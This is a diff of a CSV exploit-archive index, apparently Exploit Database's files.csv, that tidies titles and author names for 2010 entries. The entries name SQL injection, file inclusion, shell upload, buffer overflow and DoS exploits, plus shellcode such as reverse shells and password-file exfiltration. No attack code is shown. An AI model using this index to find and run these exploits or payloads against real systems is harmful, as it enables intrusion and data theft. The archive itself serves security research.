-12624,platforms/php/webapps/12624.txt,"LinPHA <== 1.3.2 (rotate.php) Remote Command Execution Vulnerability",2010-05-16,"Sn!pEr.S!Te hacker",php,webapps,0
+12624,platforms/php/webapps/12624.txt,"LinPHA <= 1.3.2 - (rotate.php) Remote Command Execution Vulnerability",2010-05-16,"Sn!pEr.S!Te hacker",php,webapps,0
 12628,platforms/php/webapps/12628.txt,"EgO v0.7b (fckeditor) Remote File Upload",2010-05-16,ITSecTeam,php,webapps,0
 12629,platforms/php/webapps/12629.txt,"Tainos Multiple Vulnerabilities",2010-05-16,XroGuE,php,webapps,0
 12630,platforms/php/webapps/12630.txt,"I-Vision CMS XSS, SQL injection vulnerability",2010-05-16,Ariko-Security,php,webapps,0
@@ -11513,12 +11513,12 @@ id,file,description,date,author,platform,type,port
 12632,platforms/php/webapps/12632.txt,"Joomla Component com_crowdsource SQL Injection",2010-05-17,ByEge,php,webapps,0
 12633,platforms/php/webapps/12633.txt,"Joomla Component com_event Multiple Vulnerabilities",2010-05-17,altbta,php,webapps,0
 12634,platforms/php/webapps/12634.txt,"PHP Gamepage SQL Injection Vulnerability",2010-05-17,v4lc0m87,php,webapps,0
-12635,platforms/php/webapps/12635.txt,"PHP-Fusion v4.01 SQL Injection Vulnerability",2010-05-17,Ma3sTr0-Dz,php,webapps,0
+12635,platforms/php/webapps/12635.txt,"PHP-Fusion 4.01 - SQL Injection Vulnerability",2010-05-17,Ma3sTr0-Dz,php,webapps,0
 12636,platforms/php/webapps/12636.txt,"MidiCart PHP,ASP Shell Upload Vulnerability",2010-05-17,DigitALL,php,webapps,0
-12637,platforms/php/webapps/12637.txt,"MyNews v1.0 CMS - Sql Injection, local file inclusion and XSS Vulnerabilities",2010-05-17,mr_me,php,webapps,0
+12637,platforms/php/webapps/12637.txt,"MyNews 1.0 CMS - SQL Injection, Local File Inclusion and XSS Vulnerabilities",2010-05-17,mr_me,php,webapps,0
 12639,platforms/php/webapps/12639.txt,"Joomla Component com_event another sql injection vuln",2010-05-17,N/A,php,webapps,0
-12640,platforms/windows/webapps/12640.txt,"Abyss Web Server X1 XSRF",2010-05-17,"John Leitch",windows,webapps,0
-12641,platforms/php/webapps/12641.txt,"JE CMS version 1.1 SQL Injection Vulnerability",2010-05-17,AntiSecurity,php,webapps,0
+12640,platforms/windows/webapps/12640.txt,"Abyss Web Server X1 - CSRF",2010-05-17,"John Leitch",windows,webapps,0
+12641,platforms/php/webapps/12641.txt,"JE CMS 1.1 - SQL Injection Vulnerability",2010-05-17,AntiSecurity,php,webapps,0
 12642,platforms/php/webapps/12642.txt,"phpMyAdmin 2.6.3-pl1 Cross Site Scripting and Full Path",2010-05-18,cp77fk4r,php,webapps,0
 12643,platforms/php/webapps/12643.pl,"ChillyCMS Blind Sql Injection",2010-05-18,IHTeam,php,webapps,0
 12644,platforms/php/webapps/12644.txt,"WebJaxe Sql Injection",2010-05-18,IHTeam,php,webapps,0
@@ -11530,33 +11530,33 @@ id,file,description,date,author,platform,type,port
 12651,platforms/php/webapps/12651.txt,"Lokomedia CMS (sukaCMS) Local File Disclosure Vulnerability",2010-05-18,vir0e5,php,webapps,0
 12652,platforms/netbsd_x86/dos/12652.sh,"NetBSD 5.0 and below Hack GENOCIDE Environment overflow proof of concept",2010-05-18,JMIT,netbsd_x86,dos,0
 12653,platforms/netbsd_x86/dos/12653.sh,"NetBSD 5.0 and below Hack PATH Environment overflow proof of concept",2010-05-18,JMIT,netbsd_x86,dos,0
-12654,platforms/php/webapps/12654.txt,"DB[CMS]  Sql Injection Vulnerability",2010-05-18,Pokeng,php,webapps,0
-12655,platforms/windows/dos/12655.txt,"QtWeb Browser version 3.3 Dos",2010-05-18,PoisonCode,windows,dos,0
+12654,platforms/php/webapps/12654.txt,"DB[CMS] Sql Injection Vulnerability",2010-05-18,Pokeng,php,webapps,0
+12655,platforms/windows/dos/12655.txt,"QtWeb Browser 3.3 - DoS",2010-05-18,PoisonCode,windows,dos,0
 12656,platforms/php/webapps/12656.txt,"Battle Scrypt Shell Upload Vulnerability",2010-05-19,DigitALL,php,webapps,0
 12657,platforms/windows/remote/12657.txt,"Google Chrome 4.1.249.1059 Cross Origin Bypass in Google URL (GURL)",2010-05-19,"Jordi Chancel",windows,remote,0
 12658,platforms/freebsd/webapps/12658.txt,"Web Administration Broken Access Control in McAfee Email Gateway",2010-05-19,"Nahuel Grisolia",freebsd,webapps,0
 12659,platforms/php/webapps/12659.txt,"DB[CMS] (section.php) SQL Injection Vulnerability",2010-05-19,CoBRa_21,php,webapps,0
 12660,platforms/hardware/webapps/12660.txt,"Palo Alto Network Vulnerability - Cross-Site Scripting (XSS)",2010-05-19,"Jeromie Jackson",hardware,webapps,0
 12661,platforms/php/webapps/12661.txt,"DBCart (article.php) SQL Injection Vulnerability",2010-05-19,v3n0m,php,webapps,0
-12662,platforms/windows/local/12662.rb,"SyncBack Freeware V3.2.20.0",2010-05-19,Lincoln,windows,local,0
+12662,platforms/windows/local/12662.rb,"SyncBack Freeware 3.2.20.0",2010-05-19,Lincoln,windows,local,0
 12663,platforms/windows/remote/12663.html,"CommuniCrypt Mail 1.16 (ANSMTP.dll/AOSMTP.dll) ActiveX",2010-05-19,Lincoln,windows,remote,0
 12664,platforms/asp/webapps/12664.txt,"Renista CMS BUG",2010-05-20,"Amir Afghanian",asp,webapps,0
 12665,platforms/php/webapps/12665.pl,"IMEDIA (index.php) SQL Injection Vulnerability",2010-05-20,Kannibal615,php,webapps,0
 12666,platforms/php/webapps/12666.txt,"DB[CMS] (article.php) SQL Injection Vulnerability",2010-05-20,blackraptor,php,webapps,0
 12667,platforms/php/webapps/12667.py,"SQL Injection Entry Level Content Management System (EL CMS)",2010-05-20,"vir0e5 ",php,webapps,0
 12671,platforms/php/webapps/12671.txt,"Powder Blue Design SQL Injection Vulnerability",2010-05-20,cyberlog,php,webapps,0
-12672,platforms/asp/webapps/12672.txt,"Spaw Editor v1.0 & 2.0 Remote File Upload",2010-05-20,Ma3sTr0-Dz,asp,webapps,0
+12672,platforms/asp/webapps/12672.txt,"Spaw Editor 1.0 & 2.0 - Remote File Upload",2010-05-20,Ma3sTr0-Dz,asp,webapps,0
 12673,platforms/windows/remote/12673.txt,"ComponentOne VSFlexGrid v. 7 & 8 ""Archive()"" method Remote Buffer Overflow Exploit",2010-05-20,Ma3sTr0-Dz,windows,remote,0
-12674,platforms/php/webapps/12674.txt,"webYourPhotos <==6.05  (index.php) Remote File Inclusion Vulnerability",2010-05-20,"Sn!pEr.S!Te hacker",php,webapps,0
-12676,platforms/php/webapps/12676.txt,"GVI-2010-02 : Multiple vulnerabilities in Open-AudIT",2010-05-21,"Sébastien Duquette",php,webapps,0
-12677,platforms/windows/local/12677.html,"Rumba FTP Client FTPSFtp.dll v4.2.0.0 OpenSession() Buffer Overflow",2010-05-21,sinn3r,windows,local,0
+12674,platforms/php/webapps/12674.txt,"webYourPhotos <= 6.05 - (index.php) Remote File Inclusion Vulnerability",2010-05-20,"Sn!pEr.S!Te hacker",php,webapps,0
+12676,platforms/php/webapps/12676.txt,"Open-AudIT - Multiple vulnerabilities",2010-05-21,"Sébastien Duquette",php,webapps,0
+12677,platforms/windows/local/12677.html,"Rumba FTP Client FTPSFtp.dll 4.2.0.0 - OpenSession() Buffer Overflow",2010-05-21,sinn3r,windows,local,0
 12679,platforms/windows/webapps/12679.txt,"3Com* iMC (Intelligent Management Center) Unauthenticated File Retrieval (traversal)",2010-05-21,"Richard Brain",windows,webapps,0
 12680,platforms/windows/webapps/12680.txt,"3Com* iMC (Intelligent Management Center) Various XSS and Information Disclosure Flaws",2010-05-21,"Richard Brain",windows,webapps,0
 12683,platforms/windows/dos/12683.pl,"Solarwinds 10.4.0.10 TFTP DOS",2010-05-21,Nullthreat,windows,dos,69
-12684,platforms/php/webapps/12684.txt,"ConPresso 4.0.7 SQL Injection  Vulnerability",2010-05-21,Gamoscu,php,webapps,0
+12684,platforms/php/webapps/12684.txt,"ConPresso 4.0.7 SQL Injection Vulnerability",2010-05-21,Gamoscu,php,webapps,0
 12686,platforms/php/webapps/12686.txt,"Online University (Auth Bypass) SQL Injection Vulnerability",2010-05-21,cr4wl3r,php,webapps,0
-12687,platforms/windows/dos/12687.pl,"WinDirectAudio  (.WAV) PoC",2010-05-21,ahwak2000,windows,dos,0
-12688,platforms/php/webapps/12688.txt,"JV2 Folder Gallery <==3.1  (gallery.php) Remote File Inclusion Vulnerability",2010-05-21,"Sn!pEr.S!Te hacker",php,webapps,0
+12687,platforms/windows/dos/12687.pl,"WinDirectAudio (.WAV) PoC",2010-05-21,ahwak2000,windows,dos,0
+12688,platforms/php/webapps/12688.txt,"JV2 Folder Gallery <= 3.1 - (gallery.php) Remote File Inclusion Vulnerability",2010-05-21,"Sn!pEr.S!Te hacker",php,webapps,0
 12689,platforms/multiple/webapps/12689.txt,"Authenticated Cross-Site Scripting Vulnerability (XSS) within Apache Axis2 administration console",2010-05-21,"Richard Brain",multiple,webapps,0
 12690,platforms/php/webapps/12690.php,"cardinalCms 1.2 (fckeditor) Arbitrary File Upload Exploit.",2010-05-21,Ma3sTr0-Dz,php,webapps,0
 12691,platforms/php/webapps/12691.txt,"Online Job Board (Auth Bypass) SQL Injection Vulnerability",2010-05-21,cr4wl3r,php,webapps,0
@@ -11567,12 +11567,12 @@ id,file,description,date,author,platform,type,port
 12696,platforms/php/webapps/12696.txt,"E-commerce Group (cat.php) SQL Injection Vulnerability",2010-05-22,"BLack Revenge",php,webapps,0
 12697,platforms/php/webapps/12697.php,"hustoj (fckeditor) Remote Arbitrary File Upload Exploit",2010-05-22,eidelweiss,php,webapps,0
 12698,platforms/windows/dos/12698.py,"Open&Compact Ftp Server 1.2 ""PORT"" command Remote DoS",2010-05-22,Ma3sTr0-Dz,windows,dos,0
-12699,platforms/php/webapps/12699.txt,"eWebEditor v1.x (WYSIWYG) Remote File Upload",2010-05-22,Ma3sTr0-Dz,php,webapps,0
+12699,platforms/php/webapps/12699.txt,"eWebEditor 1.x - (WYSIWYG) Remote File Upload",2010-05-22,Ma3sTr0-Dz,php,webapps,0
 12700,platforms/asp/webapps/12700.txt,"DotNetNuke Remote File upload Vulnerability",2010-05-22,"Ra3cH and Ma3sTr0-Dz",asp,webapps,0
 12701,platforms/asp/webapps/12701.txt,"Rave Creations/UHM (artists.asp) SQL Injection Vulnerability",2010-05-22,Ra3cH,asp,webapps,0
 12702,platforms/php/webapps/12702.php,"ECShop Search.php SQL Injection Exploit",2010-05-22,Jannock,php,webapps,0
 12703,platforms/php/webapps/12703.txt,"Recipes Website 1.0 SQL Injection",2010-05-22,Mr.ThieF,php,webapps,0
-12704,platforms/windows/dos/12704.txt,"Media Player Classic - v 1.3.1774.0  (.rm file)  buffer Overflow poc",2010-05-23,"sniper ip",windows,dos,0
+12704,platforms/windows/dos/12704.txt,"Media Player Classic - v 1.3.1774.0 (.rm file) buffer Overflow poc",2010-05-23,"sniper ip",windows,dos,0
 12706,platforms/php/webapps/12706.txt,"MMA Creative Design SQL Injection Vulnerability",2010-05-23,XroGuE,php,webapps,0
 12707,platforms/php/webapps/12707.txt,"runt-communications Design SQL Injection Vulnerability",2010-05-23,XroGuE,php,webapps,0
 12709,platforms/php/webapps/12709.txt,"webperformance Ecommerce SQL Vulnerability",2010-05-23,cyberlog,php,webapps,0
@@ -11585,20 +11585,20 @@ id,file,description,date,author,platform,type,port
 12716,platforms/php/webapps/12716.txt,"runt-communications Design (property_more.php) SQL Injec.Vulnerability",2010-05-24,CoBRa_21,php,webapps,0
 12717,platforms/php/webapps/12717.txt,"Telia Web Design (index.php) SQL Injection Vulnerability",2010-05-24,CoBRa_21,php,webapps,0
 12718,platforms/php/webapps/12718.txt,"BBMedia Design's (news_more.php) SQL Injection Vulnerability",2010-05-24,gendenk,php,webapps,0
-12719,platforms/php/webapps/12719.txt,"PHP Graphy <== 0.9.7 (index.php) Remote Command Execution Vulnerability",2010-05-24,"Sn!pEr.S!Te Hacker",php,webapps,0
-12720,platforms/php/webapps/12720.txt,"Schaf-CMS 1.0 SQL Injection  Vulnerability",2010-05-24,Manas58,php,webapps,0
-12721,platforms/php/webapps/12721.txt,"Apache Axis2(1.4.1) Local File Inclusion Vulnerability",2010-05-24,HC,php,webapps,0
+12719,platforms/php/webapps/12719.txt,"PHP Graphy <= 0.9.7 - (index.php) Remote Command Execution Vulnerability",2010-05-24,"Sn!pEr.S!Te hacker",php,webapps,0
+12720,platforms/php/webapps/12720.txt,"Schaf-CMS 1.0 SQL Injection Vulnerability",2010-05-24,Manas58,php,webapps,0
+12721,platforms/php/webapps/12721.txt,"Apache Axis2 1.4.1 - Local File Inclusion Vulnerability",2010-05-24,HC,php,webapps,0
 12722,platforms/php/webapps/12722.txt,"interuse Website Builder & design (index2.php) SQL Injection Vulnerability",2010-05-24,CoBRa_21,php,webapps,0
 12723,platforms/php/webapps/12723.py,"Joomla com_qpersonel SQL Injection Remote Exploit",2010-05-24,"Valentin Hoebel",php,webapps,0
 12724,platforms/php/webapps/12724.php,"WebAsys blindSQL-inj exploit",2010-05-24,zsh.shell,php,webapps,0
 12725,platforms/php/webapps/12725.txt,"ALSCO CMS SQL Injection Vulnerabilities",2010-05-24,PrinceofHacking,php,webapps,0
 12726,platforms/php/webapps/12726.txt,"REvolution <= 10.02 CSRF (Cross-Site Request Forgery)",2010-05-24,"High-Tech Bridge SA",php,webapps,0
 12727,platforms/php/webapps/12727.txt,"LiSK CMS v 4.4 SQL Injection Vulnerability",2010-05-24,"High-Tech Bridge SA",php,webapps,0
-12728,platforms/windows/webapps/12728.txt,"Microsoft Outlook Web Access (OWA) version 8.2.254.0 information disclosure vulnerability",2010-05-24,"Praveen Darshanam",windows,webapps,0
+12728,platforms/windows/webapps/12728.txt,"Microsoft Outlook Web Access (OWA) 8.2.254.0 - Information Disclosure vulnerability",2010-05-24,"Praveen Darshanam",windows,webapps,0
 12729,platforms/php/webapps/12729.txt,"Blox CMS SQL Injection Vulnerability",2010-05-24,CoBRa_21,php,webapps,0
 12730,platforms/multiple/webapps/12730.txt,"ProWeb Design SQL Injection Vulnerability",2010-05-24,cyberlog,multiple,webapps,0
-12731,platforms/php/webapps/12731.txt,"Webloader v8 SQL Injection Vulnerability",2010-05-24,ByEge,php,webapps,0
-12732,platforms/php/webapps/12732.php,"JV2 Folder Gallery 3.1.1 (popup_slideshow.php) Multiple Vulnerability",2010-05-24,eidelweiss,php,webapps,0
+12731,platforms/php/webapps/12731.txt,"Webloader 8 - SQL Injection Vulnerability",2010-05-24,ByEge,php,webapps,0
+12732,platforms/php/webapps/12732.php,"JV2 Folder Gallery 3.1.1 - (popup_slideshow.php) Multiple Vulnerability",2010-05-24,eidelweiss,php,webapps,0
 12734,platforms/asp/webapps/12734.txt,"Blaze Apps Multiple Vulnerabilities",2010-05-24,"AmnPardaz ",asp,webapps,0
 12735,platforms/php/webapps/12735.txt,"NITRO Web Gallery SQL Injection Vulnerability",2010-05-25,cyberlog,php,webapps,0
 12736,platforms/php/webapps/12736.txt,"Website Design and Hosting By Netricks, Inc (news.php) SQL Injection Vulnerability",2010-05-25,"Dr.SiLnT HilL",php,webapps,0
@@ -11608,9 +11608,9 @@ id,file,description,date,author,platform,type,port
 12743,platforms/php/webapps/12743.txt,"web5000 (page_show) SQL Injection Vulnerability",2010-05-25,"BLack Revenge",php,webapps,0
 12744,platforms/php/webapps/12744.txt,"Webit Cms SQL Injection Vulnerability",2010-05-25,CoBRa_21,php,webapps,0
 12746,platforms/php/webapps/12746.txt,"Spaceacre (SQL/XSS/HTML) Injection Vulnerabilities",2010-05-26,XroGuE,php,webapps,0
-12748,platforms/php/webapps/12748.txt,"Multi Vendor Mall  (pages.php) SQL Injection Vulnerability",2010-05-26,Newbie_Campuz,php,webapps,0
+12748,platforms/php/webapps/12748.txt,"Multi Vendor Mall (pages.php) SQL Injection Vulnerability",2010-05-26,Newbie_Campuz,php,webapps,0
 12749,platforms/php/webapps/12749.txt,"Book Gallery (aboutbook.php) SQL Injection Vulnerability",2010-05-26,Mr.P3rfekT,php,webapps,0
-12750,platforms/windows/webapps/12750.txt,"RapidWareX v2.0.1 (WebUI) CSRF Exploit",2010-05-26,l3D,windows,webapps,0
+12750,platforms/windows/webapps/12750.txt,"RapidWareX 2.0.1 - (WebUI) CSRF Exploit",2010-05-26,l3D,windows,webapps,0
 12751,platforms/windows/dos/12751.pl,"Adobe Photoshop CS4 Extended 11.0 ABR File Handling Remote Buffer Overflow PoC",2010-05-26,LiquidWorm,windows,dos,0
 12752,platforms/windows/dos/12752.c,"Adobe Photoshop CS4 Extended 11.0 GRD File Handling Remote Buffer Overflow PoC",2010-05-26,LiquidWorm,windows,dos,0
 12753,platforms/windows/dos/12753.c,"Adobe Photoshop CS4 Extended 11.0 ASL File Handling Remote BoF PoC",2010-05-26,LiquidWorm,windows,dos,0
@@ -11620,7 +11620,7 @@ id,file,description,date,author,platform,type,port
 12761,platforms/php/webapps/12761.txt,"GlobalWebTek Design SQL Injection Vulnerability",2010-05-27,cyberlog,php,webapps,0
 12762,platforms/freebsd/dos/12762.txt,"FreeBSD 8.0 ftpd off-by one PoC (FreeBSD-SA-10:05)",2010-05-27,"Maksymilian Arciemowicz",freebsd,dos,0
 12763,platforms/php/webapps/12763.txt,"Script Upload Up Your Shell (Sql Inject)",2010-05-27,MouDy-Dz,php,webapps,0
-12766,platforms/php/webapps/12766.txt,"PPhlogger <== 2.2.5  (trace.php) Remote Command Execution Vulnerability",2010-05-27,"Sn!pEr.S!Te hacker",php,webapps,0
+12766,platforms/php/webapps/12766.txt,"PPhlogger <= 2.2.5 - (trace.php) Remote Command Execution Vulnerability",2010-05-27,"Sn!pEr.S!Te hacker",php,webapps,0
 12767,platforms/php/webapps/12767.txt,"parlic Design (SQL/XSS/HTML) Multiple Vulnerabilities",2010-05-27,XroGuE,php,webapps,0
 12768,platforms/php/webapps/12768.txt,"Hampshire Trading Standards Script SQL Injection Vulnerability",2010-05-27,Mr.P3rfekT,php,webapps,0
 12769,platforms/php/webapps/12769.txt,"Joomla Component MediQnA LFI vulnerability",2010-05-27,kaMtiEz,php,webapps,0
@@ -11629,14 +11629,14 @@ id,file,description,date,author,platform,type,port
 12772,platforms/php/webapps/12772.txt,"Realtor WebSite System E-Commerce SQL Injection Vulnerability",2010-05-27,cyberlog,php,webapps,0
 12773,platforms/php/webapps/12773.txt,"Realtor Real Estate Agent (idproperty) SQL Injection Vulnerability",2010-05-28,v3n0m,php,webapps,0
 12774,platforms/windows/dos/12774.py,"HomeFTP Server r1.10.3 (build 144) Denial of Service Exploit",2010-05-28,Dr_IDE,windows,dos,0
-12775,platforms/multiple/dos/12775.py,"VLC Media Player <=1.0.6 Malformed Media File Crash PoC",2010-05-28,Dr_IDE,multiple,dos,0
+12775,platforms/multiple/dos/12775.py,"VLC Media Player <= 1.0.6 - Media File Crash PoC",2010-05-28,Dr_IDE,multiple,dos,0
 12776,platforms/php/webapps/12776.txt,"Realtor WebSite System E-Commerce idfestival SQL Injection Vulnerability",2010-05-28,CoBRa_21,php,webapps,0
 12777,platforms/php/webapps/12777.txt,"Realtor Real Estate Agent (news.php) SQL Injection Vulnerability",2010-05-28,v3n0m,php,webapps,0
 12779,platforms/php/webapps/12779.txt,"Joomla Component My Car Multiple Vulnerabilities",2010-05-28,Valentin,php,webapps,0
 12780,platforms/php/webapps/12780.txt,"Joomla Component BF Quiz SQL Injection Vulnerability",2010-05-28,Valentin,php,webapps,0
 12781,platforms/php/webapps/12781.txt,"Joomla Component com_jepoll (pollid) SQL Injection Vulnerability",2010-05-28,v3n0m,php,webapps,0
 12782,platforms/php/webapps/12782.txt,"Joomla Component com_jejob 1.0 (catid) SQL Injection Vulnerability",2010-05-28,v3n0m,php,webapps,0
-12785,platforms/php/webapps/12785.pl,"YourArcadeScript v2.0b1 Blind SQL Injection",2010-05-28,DNX,php,webapps,0
+12785,platforms/php/webapps/12785.pl,"YourArcadeScript 2.0b1 - Blind SQL Injection",2010-05-28,DNX,php,webapps,0
 12786,platforms/windows/webapps/12786.txt,"fusebox (ProductList.cfm?CatDisplay) Remote SQL Injection Vulnerability",2010-05-29,Shamus,windows,webapps,0
 12787,platforms/php/webapps/12787.txt,"Nucleus Plugin Gallery RFI & SQLi Vulnerability",2010-05-29,AntiSecurity,php,webapps,0
 12788,platforms/php/webapps/12788.txt,"Marketing Web Design Multiple Vulnerabilities",2010-05-29,XroGuE,php,webapps,0
@@ -11648,30 +11648,30 @@ id,file,description,date,author,platform,type,port
 12796,platforms/php/webapps/12796.txt,"Joomla Component BF Quiz SQL Injection Exploit",2010-05-29,"Valentin Hoebel",php,webapps,0
 12797,platforms/php/webapps/12797.txt,"(Webiz) local SHELL Upload Vulnerability",2010-05-29,kannibal615,php,webapps,0
 12798,platforms/php/webapps/12798.txt,"(Webiz) SQL Injection Vulnerability",2010-05-29,kannibal615,php,webapps,0
-12801,platforms/php/webapps/12801.txt,"Oscommerce Online Merchant v2.2 File Disclosure And Admin ByPass",2010-05-30,Flyff666,php,webapps,0
-12803,platforms/windows/local/12803.html,"IP2location.dll v1.0.0.1 Function Initialize() Buffer Overflow",2010-05-30,sinn3r,windows,local,0
+12801,platforms/php/webapps/12801.txt,"Oscommerce Online Merchant 2.2 - File Disclosure And Admin ByPass",2010-05-30,Flyff666,php,webapps,0
+12803,platforms/windows/local/12803.html,"IP2location.dll 1.0.0.1 - Function Initialize() Buffer Overflow",2010-05-30,sinn3r,windows,local,0
 12804,platforms/multiple/remote/12804.txt,"nginx [engine x] http server <= 0.6.36 Path Draversal",2010-05-30,cp77fk4r,multiple,remote,0
 12805,platforms/php/webapps/12805.txt,"Zeeways Script Multiple Vulnerabilities",2010-05-30,XroGuE,php,webapps,0
 12806,platforms/php/webapps/12806.txt,"CMScout (XSS/HTML Injection) Multiple Vulnerabilities",2010-05-30,XroGuE,php,webapps,0
 12807,platforms/php/webapps/12807.txt,"Creato Script SQL Injection Vulnerability",2010-05-30,Mr.P3rfekT,php,webapps,0
 12808,platforms/php/webapps/12808.txt,"PTC Site's RCE/XSS Vulnerability",2010-05-30,CrazyMember,php,webapps,0
 12809,platforms/php/webapps/12809.txt,"Symphony CMS Local File Inclusion Vulnerability",2010-05-30,AntiSecurity,php,webapps,0
-12811,platforms/php/webapps/12811.txt,"Oscommerce Online Merchant v2.2 - Remote File Upload",2010-05-30,MasterGipy,php,webapps,0
+12811,platforms/php/webapps/12811.txt,"Oscommerce Online Merchant 2.2 - Remote File Upload",2010-05-30,MasterGipy,php,webapps,0
 12812,platforms/php/webapps/12812.txt,"Joomla com_quran SQL Injection vulnerability",2010-05-30,r3m1ck,php,webapps,0
 12813,platforms/php/webapps/12813.txt,"WsCMS SQL Injection Vulnerability [ Multiple Vulnerabilities ]",2010-05-31,cyberlog,php,webapps,0
 12814,platforms/php/webapps/12814.txt,"Joomla Component com_g2bridge LFI vulnerability",2010-05-31,akatsuchi,php,webapps,0
 12815,platforms/windows/remote/12815.txt,"GoAheaad Webserver Source Code Disclosure Vulnerability",2010-05-30,Sil3nt_Dre4m,windows,remote,0
 12816,platforms/windows/dos/12816.py,"ZipExplorer 7.0 (.zar) DoS",2010-05-31,TecR0c,windows,dos,0
-12817,platforms/php/webapps/12817.txt,"QuickTalk v1.2 (Source code disclosure) Multiple Vulnerabilities",2010-05-31,indoushka,php,webapps,0
-12818,platforms/php/webapps/12818.txt,"e107 0.7.21 full Mullti (RFI/XSS) Vulnerabilities",2010-05-31,indoushka,php,webapps,0
-12819,platforms/php/webapps/12819.txt,"Persian E107 XSS Vulnerability",2010-05-31,indoushka,php,webapps,0
+12817,platforms/php/webapps/12817.txt,"QuickTalk 1.2 - Multiple Vulnerabilities (Source Code Disclosure)",2010-05-31,"indoushka salah el ddine",php,webapps,0
+12818,platforms/php/webapps/12818.txt,"e107 0.7.21 full Mullti (RFI/XSS) Vulnerabilities",2010-05-31,"indoushka salah el ddine",php,webapps,0
+12819,platforms/php/webapps/12819.txt,"Persian E107 XSS Vulnerability",2010-05-31,"indoushka salah el ddine",php,webapps,0
 12820,platforms/php/webapps/12820.txt,"Visitor Logger (banned.php) Remote File Include Vulnerability",2010-05-31,bd0rk,php,webapps,0
 12821,platforms/windows/local/12821.py,"Mediacoder v0.7.3.4672 SEH Exploit",2010-05-31,Stoke,windows,local,0
 12822,platforms/php/webapps/12822.txt,"Joomla Component com_jsjobs SQL Injection Vulnerability",2010-05-31,d0lc3,php,webapps,0
 12823,platforms/php/webapps/12823.txt,"musicbox sql injection",2010-05-31,titanichacker,php,webapps,0
 12833,platforms/asp/webapps/12833.txt,"Patient folder (THEME ASP) Local SQL Injection Vulnerability",2010-05-31,"SA H4x0r",asp,webapps,0
 12834,platforms/windows/remote/12834.py,"XFTP 3.0 Build 0239 Long filename Buffer Overflow",2010-06-01,sinn3r,windows,remote,0
-12839,platforms/php/webapps/12839.txt,"Hexjector Persistent XSS (<=v1.0.7.2)",2010-06-01,Hexon,php,webapps,0
+12839,platforms/php/webapps/12839.txt,"Hexjector <= 1.0.7.2 - Persistent XSS",2010-06-01,Hexon,php,webapps,0
 12840,platforms/php/webapps/12840.txt,"Delivering Digital Media CMS SQL Injection Vulnerability",2010-06-01,"Dr.0rYX and Cr3w-DZ",php,webapps,0
 12841,platforms/asp/webapps/12841.txt,"Ticimax E-Ticaret (SQL Injection)",2010-06-01,Neuromancer,asp,webapps,0
 12842,platforms/php/webapps/12842.txt,"Joomla Component ChronoConnectivity",2010-06-02,_mlk_,php,webapps,0
@@ -11681,15 +11681,15 @@ id,file,description,date,author,platform,type,port
 12849,platforms/php/webapps/12849.txt,"slogan design Script SQL Injection Vulnerability",2010-06-03,Mr.P3rfekT,php,webapps,0
 12850,platforms/php/webapps/12850.txt,"Member ID The Fish Index PHP SQL Injection Vulnerability",2010-06-03,v4lc0m87,php,webapps,0
 12852,platforms/windows/webapps/12852.txt,"QtWeb 3.3 Remote DoS/Crash Exploit",2010-06-03,PoisonCode,windows,webapps,0
-12853,platforms/windows/dos/12853.py,"Quick 'n Easy FTP Server Lite Version 3.1",2010-06-03,b0nd,windows,dos,0
-12855,platforms/php/webapps/12855.txt,"phpBazar V2.1.1 stable rfi Vulnerability",2010-06-03,Sid3^effects,php,webapps,0
-12856,platforms/php/webapps/12856.txt,"osCSS 1.2.1 (REMOTE FILE UPLOAD) Vulnerabilities",2010-06-03,indoushka,php,webapps,0
-12857,platforms/php/webapps/12857.txt,"E-book Store Mullti Vulnerability",2010-06-03,indoushka,php,webapps,0
-12858,platforms/php/webapps/12858.txt,"Article Management System 2.1.2 Reinstall Vulnerability",2010-06-03,indoushka,php,webapps,0
-12859,platforms/php/webapps/12859.txt,"Advneced Management For Services Sites (File Disclosure) Vulnerabilities",2010-06-03,indoushka,php,webapps,0
+12853,platforms/windows/dos/12853.py,"Quick 'n Easy FTP Server Lite 3.1",2010-06-03,b0nd,windows,dos,0
+12855,platforms/php/webapps/12855.txt,"phpBazar 2.1.1 stable - rfi Vulnerability",2010-06-03,Sid3^effects,php,webapps,0
+12856,platforms/php/webapps/12856.txt,"osCSS 1.2.1 (REMOTE FILE UPLOAD) Vulnerabilities",2010-06-03,"indoushka salah el ddine",php,webapps,0
+12857,platforms/php/webapps/12857.txt,"E-book Store Mullti Vulnerability",2010-06-03,"indoushka salah el ddine",php,webapps,0
+12858,platforms/php/webapps/12858.txt,"Article Management System 2.1.2 Reinstall Vulnerability",2010-06-03,"indoushka salah el ddine",php,webapps,0
+12859,platforms/php/webapps/12859.txt,"Advneced Management For Services Sites (File Disclosure) Vulnerabilities",2010-06-03,"indoushka salah el ddine",php,webapps,0
 12861,platforms/php/webapps/12861.txt,"PHP SETI@home web monitor (phpsetimon) RFI / LFI Vulnerability",2010-06-03,eidelweiss,php,webapps,0
 12865,platforms/hardware/remote/12865.txt,"Motorola SURFBoard Cable Modem Directory Traversal",2010-06-03,"S2 Crew",hardware,remote,0
-12866,platforms/php/webapps/12866.txt,"K9 Kreativity Design  (pages.php) SQL Injection Vulnerability",2010-06-03,Newbie_Campuz,php,webapps,0
+12866,platforms/php/webapps/12866.txt,"K9 Kreativity Design (pages.php) SQL Injection Vulnerability",2010-06-03,Newbie_Campuz,php,webapps,0
 12867,platforms/php/webapps/12867.txt,"clickartweb Design SQL Injection Vulnerability",2010-06-03,cyberlog,php,webapps,0
 12868,platforms/php/webapps/12868.txt,"Joomla Component com_lead SQL Injection",2010-06-03,ByEge,php,webapps,0
 13241,platforms/aix/shellcode/13241.txt,"Aix execve /bin/sh 88 bytes",2004-09-26,"Georgi Guninski",aix,shellcode,0
@@ -11717,9 +11717,9 @@ id,file,description,date,author,platform,type,port
 13263,platforms/freebsd_x86/shellcode/13263.txt,"freebsd/x86 connect back.send.exit /etc/passwd 112 bytes",2008-09-10,suN8Hclf,freebsd_x86,shellcode,0
 13264,platforms/freebsd_x86/shellcode/13264.txt,"freebsd/x86 kill all processes 12 bytes",2008-09-09,suN8Hclf,freebsd_x86,shellcode,0
 13265,platforms/freebsd_x86/shellcode/13265.c,"freebsd/x86 rev connect, recv, jmp, return results 90 bytes",2008-09-05,sm4x,freebsd_x86,shellcode,0
-13266,platforms/freebsd_x86/shellcode/13266.asm,"freebsd/x86  /bin/cat /etc/master.passwd (NULL free) 65 bytes",2008-08-25,sm4x,freebsd_x86,shellcode,0
+13266,platforms/freebsd_x86/shellcode/13266.asm,"freebsd/x86 /bin/cat /etc/master.passwd (NULL free) 65 bytes",2008-08-25,sm4x,freebsd_x86,shellcode,0
 13267,platforms/freebsd_x86/shellcode/13267.asm,"freebsd/x86 reverse portbind /bin/sh 89 bytes",2008-08-21,sm4x,freebsd_x86,shellcode,0
